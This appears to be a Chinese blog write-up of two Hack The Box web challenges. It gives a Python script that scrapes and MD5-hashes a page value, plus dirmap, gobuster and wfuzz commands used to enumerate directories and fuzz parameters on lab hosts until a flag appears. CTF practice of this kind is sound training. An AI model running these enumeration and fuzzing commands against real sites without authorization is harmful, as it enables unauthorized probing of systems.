Hack-the-box

 · 2020-5-27 · 次阅读


1.Emdee five for life

进去后是一个让我们算md5的框框,把上面的值算好Md5写入下面的框框才可。但是人手输入永远是two slow,所以跟bugku的秋名山车神很像了,上python:
先审查一波元素:

所以可以写好正则匹配了:

#\S匹配任何非空字符串,+匹配前面的子表达式一次或多次
r"<h3 align='center'>(\S+)</h3>"

这样S+也就是中间的字符串就可以存入变量中,最后完整脚本:

import requests
import hashlib
import re
url = "http://docker.hackthebox.eu:30135"

r = requests.session()
out = r.get(url)
#根据正则寻找需要解密的MD5串,re.I可选项使匹配对大小写不敏感
rr = re.compile(r"<h3 align='center'>(\S+)</h3>", re.I)
#将找到的结果存入str1,findall找到的结果会存入列表中。
str1 = rr.findall(out.text)
#列表中只有一个元素即Md5串,直接解密赋值给str2.
str2 = hashlib.md5(str1[0].encode('utf-8')).hexdigest()

data={'hash': str2}

out = r.post(url=url,data=data)

print(out.text)

多试几次即可拿到flag,还没学多线程只能这样了。

2.Fuzzy

先用dirmap扫描了一下目录发现存在api目录,然后用dirmap的fuzz看一下是否存在php等文件:

python3 dirmap.py -i "http://docker.hackthebox.eu:30147/api/{dir}.php" -lcf

上面这个命令是跟dirmap用法一样是扫目录的

gobuster dir -u http://docker.hackthebox.eu:30147/api -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html,htm


最后发现了/action.php,其他的话可以{dir}.*,这里猜测是php文件。
访问action.php,提示:Error: Parameter not set
接下来用Kali自带的wfuzz进行参数fuzz
先简单学习一下它的参数:-c 输出带颜色,好看
-w 指定字典 我下面全部用到big.txt
-hh -hh代表chars这一列 24代表该值隐藏
-hc (response)
-hl lines
-hw word

wfuzz --hh 24 -c -w /usr/share/wordlists/dirb/big.txt http://docker.hackthebox.eu:30147/api/action.php?FUZZ

wfuzz --hh=27 -c  -w /usr/share/dirb/wordlists/big.txt http://docker.hackthebox.eu:30147/api/action.php?reset=FUZZ


最后发现reset=20,访问得到flag!